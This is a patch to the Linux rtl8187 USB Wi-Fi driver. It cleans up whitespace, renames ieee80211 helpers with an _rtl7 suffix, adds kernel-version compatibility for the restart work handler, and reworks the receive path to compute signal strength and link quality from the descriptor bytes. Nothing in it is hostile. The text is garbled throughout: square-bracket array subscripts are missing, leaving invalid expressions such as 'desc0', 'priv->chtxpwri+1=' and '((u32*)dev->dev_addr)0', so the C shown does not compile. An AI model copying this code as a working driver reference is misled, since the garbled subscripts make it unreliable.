+ 	priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION;
+@@ -1655,51 +1770,51 @@
+ 	priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume;
+ 	//priv->ieee80211->start_send_beacons = NULL;
+ 	//priv->ieee80211->stop_send_beacons = NULL;
+-	
++
+ 	priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD;
+-	
++
+ 	priv->card_8185 = 2;
+ 	priv->phy_ver = 2;
+ 	priv->card_type = USB;
+-	
++
+ 	#if 0
+ 	hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT;
+-	
++
+ 	switch (hw_version){
+ 		case HW_VERID_R8185_ABC:
+-			DMESG("MAC controller is a RTL8185 b/g");	
++			DMESG("MAC controller is a RTL8185 b/g");
+ 			priv->card_8185 = 1;
+ 			/* you should not find a card with 8225 PHY ver < C*/
+ 			priv->phy_ver = 2;
+ 			break;
+-			 
++
+ 		case HW_VERID_R8185_D:
+-			DMESG("MAC controller is a RTL8185 b/g (V. D)");	
++			DMESG("MAC controller is a RTL8185 b/g (V. D)");
+ 			priv->card_8185 = 2;
+ 			/* you should not find a card with 8225 PHY ver < C*/
+ 			priv->phy_ver = 2;
+ 			break;
+-			
++
+ 		case HW_VERID_R8180_ABCD:
+ 			DMESG("MAC controller is a RTL8180");
+ 			priv->card_8185 = 0;
+ 			break;
+-		
++
+ 		case HW_VERID_R8180_F:
+ 			DMESG("MAC controller is a RTL8180 (v. F)");
+ 			priv->card_8185 = 0;
+ 			break;
+-		
++
+ 		default:
+ 			DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version);
+ 			priv->card_8185 = 0;
+ 			break;
+ 	}
+-	
+-	
++
++
+ 	/* you should not found any 8185 Ver B Card */
+ 	priv->card_8185_Bversion = 0;
+-	
++
+ 	config3 = read_nic_byte(dev, CONFIG3);
+ 	if(config3 & 0x8){
+ 		priv->card_type = CARDBUS;
+@@ -1715,13 +1830,19 @@
+ 	#endif
+ 	priv->enable_gpio0 = 0;
+ 
+-	
++
++	hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT;
++	config3 = read_nic_byte(dev, CONFIG3);
++
++	DMESG("MAC chip version: %02X", hw_version);
++	DMESG("Card type: %02X", config3);
++
+ 	/* commented out just because we already do
+ 	   this when resetting the card
+ 	   andrea 20050924
+ 	 */
+ 	#if 0
+-		
++
+ 	u8 txcr, txreg50;
+ 	u32 txreg54, txreg60;
+ 
+@@ -1757,8 +1878,8 @@
+        // DMESG("<<txcr:%x>>", txcr);
+ 
+ #endif
+-	
+-	/*the eeprom type is stored in RCR register bit #6 */ 
++
++	/*the eeprom type is stored in RCR register bit #6 */
+ 	if (RCR_9356SEL & read_nic_dword(dev, RCR)){
+ 		priv->epromtype=EPROM_93c56;
+ 		DMESG("Reported EEPROM chip is a 93c56 (2Kbit)");
+@@ -1766,58 +1887,73 @@
+ 		priv->epromtype=EPROM_93c46;
+ 		DMESG("Reported EEPROM chip is a 93c46 (1Kbit)");
+ 	}
+-	
++
+ 	dev->get_stats = rtl8180_stats;
+-	
++
+ 	dev->dev_addr0=eprom_read(dev,MAC_ADR) & 0xff;
+ 	dev->dev_addr1=(eprom_read(dev,MAC_ADR) & 0xff00)>>8;
+ 	dev->dev_addr2=eprom_read(dev,MAC_ADR+1) & 0xff;
+ 	dev->dev_addr3=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8;
+ 	dev->dev_addr4=eprom_read(dev,MAC_ADR+2) & 0xff;
+ 	dev->dev_addr5=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8;
+-	
++
+ 	DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr));
+-		
++
+ 	for(i=1,j=0; i<6; i+=2,j++){
+-		
++
+ 		word = eprom_read(dev,EPROM_TXPW0 + j);
+ 		priv->chtxpwri=word & 0xf;
+ 		priv->chtxpwr_ofdmi=(word & 0xf0)>>4;
+ 		priv->chtxpwri+1=(word & 0xf00)>>8;
+ 		priv->chtxpwr_ofdmi+1=(word & 0xf000)>>12;
+ 	}
+-	
++
+ 	for(i=1,j=0; i<4; i+=2,j++){
+-			
++
+ 		word = eprom_read(dev,EPROM_TXPW1 + j);
+ 		priv->chtxpwri+6=word & 0xf;
+ 		priv->chtxpwr_ofdmi+6=(word & 0xf0)>>4;
+ 		priv->chtxpwri+6+1=(word & 0xf00)>>8;
+ 		priv->chtxpwr_ofdmi+6+1=(word & 0xf000)>>12;
+ 	}
+-	
++
+ 	for(i=1,j=0; i<4; i+=2,j++){
+-			
++
+ 		word = eprom_read(dev,EPROM_TXPW2 + j);
+ 		priv->chtxpwri+6+4=word & 0xf;
+ 		priv->chtxpwr_ofdmi+6+4=(word & 0xf0)>>4;
+ 		priv->chtxpwri+6+4+1=(word & 0xf00)>>8;
+ 		priv->chtxpwr_ofdmi+6+4+1=(word & 0xf000)>>12;
+ 	}
+-	
+-		
++
++
+ 	priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID);
+-	
++
++#ifdef DEBUG_TX_POWER
++	dump_tx_power(dev);
++#endif
++
++	DMESG("RF Chip ID: %02X", priv->rf_chip);
++
+ 	word = eprom_read(dev,EPROM_TXPW_BASE);
+ 	priv->cck_txpwr_base = word & 0xf;
+ 	priv->ofdm_txpwr_base = (word>>4) & 0xf;
+-	
++
++	priv->txpwr_max = 0;
++	for(i=1; i<15; i++)
++	{
++		if(priv->chtxpwri > priv->txpwr_max) priv->txpwr_max = priv->chtxpwri;
++		if(priv->chtxpwr_ofdmi > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdmi;
++		priv->chtxpwr_origi = priv->chtxpwri;
++		priv->chtxpwr_ofdm_origi = priv->chtxpwr_ofdmi;
++	}
++
+ 	/* check RF frontend chipset */
+-	
++
+ 	switch (priv->rf_chip) {
+-		
++
+ 		case EPROM_RFCHIPID_RTL8225U:
+-		
++
+ 		DMESG("Card reports RF frontend Realtek 8225");
+ 		DMESGW("This driver has EXPERIMENTAL support for this chipset.");
+ 		DMESGW("use it with care and at your own risk and");
+@@ -1834,28 +1970,28 @@
+ 			DMESG("This seems a legacy 1st version radio");
+ 		}
+ 		priv->rf_close = rtl8225_rf_close;
+-		
++
+ 		priv->max_sens = RTL8225_RF_MAX_SENS;
+ 		priv->sens = RTL8225_RF_DEF_SENS;
+ 		break;
+-				
++
+ 		default:
+ 		DMESGW("Unknown RF module %x",priv->rf_chip);
+ 		DMESGW("Exiting...");
+ 		return -1;
+-		
++
+ 	}
+-	
++
+ //	DMESG("Energy threshold: %x",priv->cs_treshold);
+ 	DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7);
+ 	//DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2));
+-	
+-	if(rtl8187_usb_initendpoints(dev)!=0){ 
++
++	if(rtl8187_usb_initendpoints(dev)!=0){
+ 		DMESG("Endopoints initialization failed");
+ 		return -ENOMEM;
+ 	}
+-#if 0		
+-	if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) 
++#if 0
++	if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount))
+ 		return -ENOMEM;
+ 
+ 	if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount,
+@@ -1869,16 +2005,16 @@
+ 	if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount,
+ 				  TX_LOWPRIORITY_RING_ADDR))
+ 		return -ENOMEM;
+-	
+-	
++
++
+ 	if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount))
+ 		return -ENOMEM;
+ #endif
+-	
++
+ 
+ #ifdef DEBUG_EPROM
+ 	dump_eprom(dev);
+-#endif 
++#endif
+ 	return 0;
+ 
+ }
+@@ -1898,7 +2034,7 @@
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+ 
+ 	conf3 = read_nic_byte(dev, CONFIG3);
+-	write_nic_byte(dev, CONFIG3, conf3 | (1<<CONFIG3_ANAPARAM_W_SHIFT));	
++	write_nic_byte(dev, CONFIG3, conf3 | (1<<CONFIG3_ANAPARAM_W_SHIFT));
+ 
+ 	write_nic_dword(dev, ANAPARAM2, a);
+ 
+@@ -1918,23 +2054,23 @@
+ 
+ 	conf3 = read_nic_byte(dev, CONFIG3);
+ 	write_nic_byte(dev, CONFIG3, conf3 | (1<<CONFIG3_ANAPARAM_W_SHIFT));
+-	
++
+ 	write_nic_dword(dev, ANAPARAM, a);
+ 
+ 	conf3 = read_nic_byte(dev, CONFIG3);
+ 	write_nic_byte(dev, CONFIG3, conf3 &~(1<<CONFIG3_ANAPARAM_W_SHIFT));
+ 
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+-	
++
+ }
+ 
+ 
+ void rtl8185_tx_antenna(struct net_device *dev, u8 ant)
+ {
+-	write_nic_byte(dev, TX_ANTENNA, ant); 
++	write_nic_byte(dev, TX_ANTENNA, ant);
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-}	
++}
+ 
+ 
+ void rtl8187_write_phy(struct net_device *dev, u8 adr, u32 data)
+@@ -1942,26 +2078,26 @@
+ 	//u8 phyr;
+ 	u32 phyw;
+ //	int i;
+-	
++
+ 	adr |= 0x80;
+-	 
++
+ 	phyw= ((data<<8) | adr);
+-	
+-	
+-	
+-	// Note that, we must write 0xff7c after 0x7d-0x7f to write BB register. 
++
++
++
++	// Note that, we must write 0xff7c after 0x7d-0x7f to write BB register.
+ 	write_nic_byte(dev, 0x7f, ((phyw & 0xff000000) >> 24));
+ 	write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16));
+ 	write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8));
+ 	write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) ));
+ 
+ 	//read_nic_dword(dev, PHY_ADR);
+-#if 0	
++#if 0
+ 	for(i=0;i<10;i++){
+ 		write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw);
+ 		phyr = read_nic_byte(dev, PHY_READ);
+ 		if(phyr == (data&0xff)) break;
+-			
++
+ 	}
+ #endif
+ 	/* this is ok to fail when we write AGC table. check for AGC table might be
+@@ -1988,60 +2124,60 @@
+ 
+ void rtl8180_adapter_start(struct net_device *dev)
+ {
+-        struct r8180_priv *priv = ieee80211_priv(dev);
++        struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	//u32 anaparam;
+ 	//u8 config3;
+-	
++
+ 	//rtl8180_rtx_disable(dev);
+ 	rtl8180_reset(dev);
+ 
+ 	write_nic_byte(dev,0x85,0);
+ 	write_nic_byte(dev,0x91,0);
+-	
++
+ 	/* light blink! */
+ 	write_nic_byte(dev,0x85,4);
+ 	write_nic_byte(dev,0x91,1);
+ 	write_nic_byte(dev,0x90,0);
+-	
++
+ 	priv->irq_mask = 0xffff;
+ /*
+ 	priv->dma_poll_mask = 0;
+ 	priv->dma_poll_mask|= (1<<TX_DMA_STOP_BEACON_SHIFT);
+-*/	
++*/
+ //	rtl8180_beacon_tx_disable(dev);
+-	
++
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+ 	write_nic_dword(dev, MAC0, ((u32*)dev->dev_addr)0);
+ 	write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)1 & 0xffff );
+ 
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+ 	rtl8180_update_msr(dev);
+-		
++
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+-	
++
+ 	write_nic_word(dev,0xf4,0xffff);
+ 	write_nic_byte(dev,
+-		       CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80);	
++		       CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80);
+ 
+ 	rtl8180_set_mode(dev,EPROM_CMD_NORMAL);
+-	
+-	write_nic_dword(dev,INT_TIMEOUT,0);	
++
++	write_nic_dword(dev,INT_TIMEOUT,0);
+ 
+ #ifdef DEBUG_REGISTERS
+-	rtl8180_dump_reg(dev);	
++	rtl8180_dump_reg(dev);
+ #endif
+-	
+-	
+-	write_nic_byte(dev, WPA_CONFIG, 0);	
++
++
++	write_nic_byte(dev, WPA_CONFIG, 0);
+ 
+ 	write_nic_byte(dev, RATE_FALLBACK, 0x81);
+ 	rtl8187_set_rate(dev);
+-		
+-	priv->rf_init(dev);	
++
++	priv->rf_init(dev);
+ 
+ 	if(priv->rf_set_sens != NULL)
+-		priv->rf_set_sens(dev,priv->sens);	
+-	
++		priv->rf_set_sens(dev,priv->sens);
++
+ 	write_nic_word(dev,0x5e,1);
+ 
+ 	#if 1
+@@ -2054,13 +2190,13 @@
+ 	write_nic_byte(dev, 0xff, 0x60);
+ 
+ 	write_nic_word(dev,0x5e,0);
+-	
+-		
++
++
+ 	rtl8180_irq_enable(dev);
+ 	/*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY));
+-	
++
+ 	DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY));
+-	
++
+ 	DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY));
+ 	if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK");
+ 	if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK");
+@@ -2077,8 +2213,8 @@
+ void rtl8180_start_tx_beacon(struct net_device *dev)
+ {
+ 	int i;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	u16 word;	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++	u16 word;
+ 	DMESG("Enabling beacon TX");
+ 	//write_nic_byte(dev, 0x42,0xe6);// TCR
+ 	//rtl8180_init_beacon(dev);
+@@ -2091,41 +2227,41 @@
+ 	//write_nic_word(dev,0x7a,0);
+ 	//write_nic_word(dev,0x7a,0x8000);
+ 
+-	
++
+ 	word  = read_nic_word(dev, BcnItv);
+ 	word &= ~BcnItv_BcnItv; // clear Bcn_Itv
+ 	write_nic_word(dev, BcnItv, word);
+ 
+-	write_nic_word(dev, AtimWnd, 
++	write_nic_word(dev, AtimWnd,
+ 		       read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd);
+-	
++
+ 	word  = read_nic_word(dev, BintrItv);
+ 	word &= ~BintrItv_BintrItv;
+-	
+-	//word |= priv->ieee80211->beacon_interval * 
++
++	//word |= priv->ieee80211->beacon_interval *
+ 	//	((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1);
+ 	// FIXME:FIXME check if correct ^^ worked with 0x3e8;
+-	
++
+ 	write_nic_word(dev, BintrItv, word);
+-	
++
+ 	//write_nic_word(dev,0x2e,0xe002);
+ 	//write_nic_dword(dev,0x30,0xb8c7832e);
+ 	for(i=0; i<ETH_ALEN; i++)
+ 		write_nic_byte(dev, BSSID+i, priv->ieee80211->beacon_cell_ssidi);
+-	
++
+ //	rtl8180_update_msr(dev);
+ 
+-	
++
+ 	//write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */
+-	
++
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+-	
++
+ 	rtl8180_irq_enable(dev);
+-	
++
+ 	/* VV !!!!!!!!!! VV*/
+ 	/*
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+-	write_nic_byte(dev,0x9d,0x00); 	
++	write_nic_byte(dev,0x9d,0x00);
+ 	rtl8180_set_mode(dev,EPROM_CMD_NORMAL);
+ */
+ }
+@@ -2135,137 +2271,138 @@
+ ***************************************************************************/
+ static struct net_device_stats *rtl8180_stats(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	return &priv->ieee80211->stats;
+ }
+ 
+ 
+ int _rtl8180_up(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	priv->up=1;
+-	
+-	//DMESG("Bringing up iface");
++
++// 	DMESG("Bringing up iface");
+ 
+ 	rtl8180_adapter_start(dev);
+-	
+ 	rtl8180_rx_enable(dev);
+-
+ 	rtl8180_tx_enable(dev);
+-	
+-	ieee80211_softmac_start_protocol(priv->ieee80211);
+-	
+-	ieee80211_reset_queue(priv->ieee80211);
++	ieee80211_softmac_start_protocol_rtl7(priv->ieee80211);
++	ieee80211_reset_queue_rtl7(priv->ieee80211);
+ 	if(!netif_queue_stopped(dev))
+ 		netif_start_queue(dev);
+ 	else
+ 		netif_wake_queue(dev);
+-		
+ 	return 0;
+ }
+ 
+ 
+ int rtl8180_open(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
++
+ 	ret = rtl8180_up(dev);
+ 	up(&priv->wx_sem);
+ 	return ret;
+-	
++
+ }
+ 
+ 
+ int rtl8180_up(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (priv->up == 1) return -1;
+-	
++
+ 	return _rtl8180_up(dev);
+ }
+ 
+ 
+ int rtl8180_close(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
++
+ 	ret = rtl8180_down(dev);
+-	
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ 
+ }
+ 
+ int rtl8180_down(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (priv->up == 0) return -1;
+-	
++
+ 	priv->up=0;
+ 
+ /* FIXME */
+ 	if (!netif_queue_stopped(dev))
+ 		netif_stop_queue(dev);
+-	
++
+ 	rtl8180_rtx_disable(dev);
+ 	rtl8180_irq_disable(dev);
+ 
+-	ieee80211_softmac_stop_protocol(priv->ieee80211);
+-		
++	ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211);
++
+ 	return 0;
+ }
+ 
+ 
+ void rtl8180_commit(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (priv->up == 0) return ;
+-	
+-	ieee80211_softmac_stop_protocol(priv->ieee80211);
+-	
++
++	ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211);
++
+ 	rtl8180_irq_disable(dev);
+ 	rtl8180_rtx_disable(dev);
+ 	_rtl8180_up(dev);
+ }
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void rtl8180_restart(struct work_struct *work)
++{
++	struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq);
++	struct net_device *dev = priv->dev;
++#else
+ void rtl8180_restart(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++#endif
+ 	down(&priv->wx_sem);
+-	
+ 	rtl8180_commit(dev);
+-	
++
+ 	up(&priv->wx_sem);
+ }
+ 
+ static void r8180_set_multicast(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short promisc;
+ 
+ 	//down(&priv->wx_sem);
+-	
++
+ 	/* FIXME FIXME */
+-	
++
+ 	promisc = (dev->flags & IFF_PROMISC) ? 1:0;
+-	
++
+ 	if (promisc != priv->promisc)
+ 	//	rtl8180_commit(dev);
+-	
++
+ 	priv->promisc = promisc;
+-	
++
+ 	//schedule_work(&priv->reset_wq);
+ 	//up(&priv->wx_sem);
+ }
+@@ -2273,17 +2410,17 @@
+ 
+ int r8180_set_mac_adr(struct net_device *dev, void *mac)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	struct sockaddr *addr = mac;
+-	
++
+ 	down(&priv->wx_sem);
+-	
++
+ 	memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN);
+-		
++
+ 	schedule_work(&priv->reset_wq);
+-	
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return 0;
+ }
+ 
+@@ -2291,16 +2428,18 @@
+ /* based on ipw2200 driver */
+ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++	struct iwreq *wrq;
++	int ret;
++
+ 	down(&priv->wx_sem);
+-	
+-	struct iwreq *wrq = (struct iwreq *)rq;
+-        
+-	int ret=-1;
++
++	wrq = (struct iwreq *)rq;
++
++	ret=-1;
+ 	switch (cmd) {
+ 	    case RTL_IOCTL_WPA_SUPPLICANT:
+-		ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data);
++		ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data);
+ 		break;
+ 
+ 	    default:
+@@ -2309,7 +2448,7 @@
+ 	}
+ 
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+@@ -2320,10 +2459,11 @@
+ 	struct net_device *dev = (struct net_device*)rx_urb->context;
+ 	int status,len,flen;
+ 	struct sk_buff *skb;
+-	u32 *desc;
+-	
++	u8 *desc;
++	u8 signal,quality,rate;
++
+ 	//DMESG("rtl8187_rx_isr");
+-	
++
+ 	struct ieee80211_rx_stats stats = {
+ 		.signal = 0,
+ 		.noise = -98,
+@@ -2332,43 +2472,109 @@
+ 		.freq = IEEE80211_24GHZ_BAND,
+ 	};
+ 
++
+ 	//DMESG("RX %d ",rx_urb->status);
+ 	status = rx_urb->status;
+ 	if(status == 0){
+-		
++
+ 		len = rx_urb->actual_length;
+-	//	len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ 
++	//	len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/
+ 		len -= 4*4;/* 4 dword and 4 byte CRC */
+-		
++#if 0
+ 		desc = (u32*)(rx_urb->transfer_buffer + len);
+-		
++
+ 		flen = desc0 & 0xfff;
+-		
++
+ 		if( flen <= rx_urb->actual_length){
+-		
+-			stats.signal = (desc1 & 0x7f00)>>8;
+-			stats.noise = desc1 &0xff;
+-			stats.rate = desc0 >> 20 & 0xf;
++
++			//stats.signal = (desc1 & 0x7f00)>>8;
++			//stats.noise = desc1 &0xff;
++			signal=(desc1& (0xff0000))>>16;
++			signal=(signal&0xfe)>>1;	// Modify by hikaru 6.6
++
++			quality=(desc1 & (0xff));
++
++			rate=(desc0 &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20;
++		//	printk(KERN_INFO "rate is %d!\n",rate);
++			stats.rate = rtl8180_rate2rate(rate);
++		//	printk(KERN_INFO "stats.rate is %d!\n",stats.rate);
++			//stats.rate = desc0 >> 20 & 0xf;
+ 			stats.mac_time0 = desc2;
+ 			stats.mac_time1 = desc3;
++#endif
++
++		desc = rx_urb->transfer_buffer + len;
++
++		flen = ((desc1 & 0x0f) << 8) + (desc0 & 0xff);
++
++		if( flen <= rx_urb->actual_length){
++			//stats.signal = (desc1 & 0x7f00)>>8;
++			//stats.noise = desc1 &0xff;
++			signal=(desc6& 0xfe)>>1;
++			//signal=(signal&0xfe)>>1;	// Modify by hikaru 6.6
++
++			quality=desc4 & 0xff;
++
++			//rate=(desc2 &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4;
++			rate=(desc2 & 0xf0)>>4;
++		//	printk(KERN_INFO "rate is %d!\n",rate);
++			stats.rate = rtl8180_rate2rate(rate);
++		//	printk(KERN_INFO "stats.rate is %d!\n",stats.rate);
++			//stats.rate = desc0 >> 20 & 0xf;
++			stats.mac_time0 = desc8 + (desc9<<8) + (desc10<<16) + (desc11<<24);
++			stats.mac_time1 = desc12 + (desc13<<8) + (desc14<<16) + (desc15<<24);
++
++
++			//calculate link quality begin
++			if(!rtl8180_IsWirelessBMode(stats.rate) )
++			{ // OFDM rate.
++				if(signal>90)
++					signal=90;
++				else if(signal<25)
++					signal=25;
++				signal = (90-signal)*100/65;
++			}
++			else
++			{ // CCK rate.
++				if(signal>95)
++					signal = 95;
++				else if(signal<30)
++					signal = 30;
++				signal =(95-signal )*100/65;
++			}
++			priv->wstats.qual.level = signal;
++		//	printk(KERN_INFO "signal is %d!\n",signal);
++			if(quality > 64)
++				priv ->wstats.qual.qual = 0;
++			else
++				priv ->wstats.qual.qual = ((64-quality) * 100) / 64;  // SQ value is the SIGNAL_QUALITY returned to IORequest,
++						//and this value only appear when STA is associated to AP or
++						// STA is in IBSS mode
++		//	printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual);
++			priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual;
++			priv->wstats.qual.updated = 7;
++			if(priv->ieee80211->iw_mode == IW_MODE_MONITOR)
++			{
++				stats.signal = priv->wstats.qual.level;
++				stats.noise = priv->wstats.qual.noise;
++			}
++			//calculate link quality end
+ 			skb = dev_alloc_skb(flen-4);
+-			//skb_reserve(skb,2);
+-			if(skb){ 
++			if(skb){
+ 			memcpy(skb_put(skb,flen-4),
+ 				rx_urb->transfer_buffer,flen -4);
+-			
++
+ 			#ifdef DUMP_RX
+ 			int i;
+ 			for(i=0;i<flen-4;i++)
+ 				printk("%2x ",((u8*)(rx_urb->transfer_buffer))i);
+ 			printk("------RATE %x:w---------------\n",stats.rate);
+-			
++
+ 			#endif
+ 			priv->stats.rxok++;
+ 		//	priv->rxskb = skb;
+ 		//	priv->tempstats = &stats;
+-
+-			if(!ieee80211_rx(priv->ieee80211, 
++			if(!ieee80211_rx_rtl7(priv->ieee80211,
+ 				skb, &stats))
+ 			dev_kfree_skb_any(skb);
+ 			}
+@@ -2376,9 +2582,8 @@
+ 	}else{
+ 		priv->stats.rxstaterr++;
+ 		priv->ieee80211->stats.rx_errors++;
+-		
+ 	}
+-	
++
+ 	if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb);
+ 	else DMESG("RX process aborted due to explicit shutdown");
+ }
+@@ -2396,20 +2601,20 @@
+ 	struct r8180_priv *priv= NULL;
+ 	struct usb_device *udev = interface_to_usbdev(intf);
+ 
+-//printk("===> rtl8187_usb_probe()\n");	
+-	
+-	dev = alloc_ieee80211(sizeof(struct r8180_priv));
+-	
++//printk("===> rtl8187_usb_probe()\n");
++
++	dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv));
++
+ 	SET_MODULE_OWNER(dev);
+-	usb_set_intfdata(intf, dev);	
+-	
++	usb_set_intfdata(intf, dev);
++
+ 	SET_NETDEV_DEV(dev, &intf->dev);
+ 
+-	priv = ieee80211_priv(dev);
++	priv = ieee80211_priv_rtl7(dev);
+ 	priv->ieee80211 = netdev_priv(dev);
+-	
++
+ 	priv->udev=udev;
+-	
++
+ 	dev->open = rtl8180_open;
+ 	dev->stop = rtl8180_close;
+ 	//dev->hard_start_xmit = rtl8180_8023_hard_start_xmit;
+@@ -2418,41 +2623,46 @@
+ 	dev->do_ioctl = rtl8180_ioctl;
+ 	dev->set_multicast_list = r8180_set_multicast;
+ 	dev->set_mac_address = r8180_set_mac_adr;
++#if WIRELESS_EXT >= 12
++#if WIRELESS_EXT < 17
+ 	dev->get_wireless_stats = r8180_get_wireless_stats;
++#endif
++	dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def;
++#endif
+ 	dev->type=ARPHRD_ETHER;
+-	
++
+ 	if (dev_alloc_name(dev, ifname) < 0){
+                 DMESG("Oops: devname already taken! Trying wlan%%d...\n");
+ 		ifname = "wlan%d";
+ 		dev_alloc_name(dev, ifname);
+         }
+-	
++
+ //	dev->open=rtl8180_init;
+-	
+-	if(rtl8180_init(dev)!=0){ 
++
++	if(rtl8180_init(dev)!=0){
+ 		DMESG("Initialization failed");
+ 		goto fail;
+ 	}
+-	
++
+ 	netif_carrier_off(dev);
+ 	netif_stop_queue(dev);
+-	
++
+ 	register_netdev(dev);
+-	
++
+ 	rtl8180_proc_init_one(dev);
+-	
+-	
++
++
+ 	DMESG("Driver probe completed\n");
+-	return 0;	
++	return 0;
++
+ 
+-	
+ fail:
+-	free_ieee80211(dev);
+-		
++	free_ieee80211_rtl7(dev);
++
+ 	DMESG("wlan driver load failed\n");
+-	
++
+ 	return -ENODEV;
+-	
++
+ }
+ 
+ 
+@@ -2461,13 +2671,13 @@
+ 	struct r8180_priv *priv;
+ 	struct net_device *dev = usb_get_intfdata(intf);
+  	if(dev){
+-		
++
+ 		unregister_netdev(dev);
+-		
+-		priv=ieee80211_priv(dev);
+-		
++
++		priv=ieee80211_priv_rtl7(dev);
++
+ 		rtl8180_proc_remove_one(dev);
+-		
++
+ 		rtl8180_down(dev);
+ 		priv->rf_close(dev);
+ 		//rtl8180_rtx_disable(dev);
+@@ -2478,12 +2688,12 @@
+ 
+ 	}
+ //	pci_disable_device(pdev);
+-	free_ieee80211(dev);
++	free_ieee80211_rtl7(dev);
+ 	DMESG("wlan driver removed\n");
+ }
+ 
+ 
+-static int __init rtl8187_usb_module_init(void)
